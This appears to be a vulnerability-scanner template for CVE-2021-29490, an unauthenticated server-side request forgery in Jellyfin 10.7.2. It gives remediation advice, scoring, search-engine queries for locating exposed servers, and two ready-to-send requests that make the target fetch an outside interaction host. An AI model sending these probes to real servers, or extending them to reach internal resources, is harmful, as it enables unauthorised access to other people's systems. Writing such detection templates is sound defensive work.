id: CVE-2021-29490

info:
  name: Jellyfin 10.7.2 - Server Side Request Forgery
  author: alph4byt3
  severity: medium
  description: |
    Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
    epss-score: 0.87132
    epss-percentile: 0.99458
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.title:"Jellyfin"
    fofa-query: body="jellyfin"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,ssrf,jellyfin,oast,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 4b0a00483046022100cb2e5aa515149dd0aef58297d3d776f3439a99f7d939c29c68a5c4931745d14f022100e06320b35f8584ea5c85f373e02a5453c4f434c0e23029a01344f309f1e300a0:922c64590222798bb761d5b6d8e72950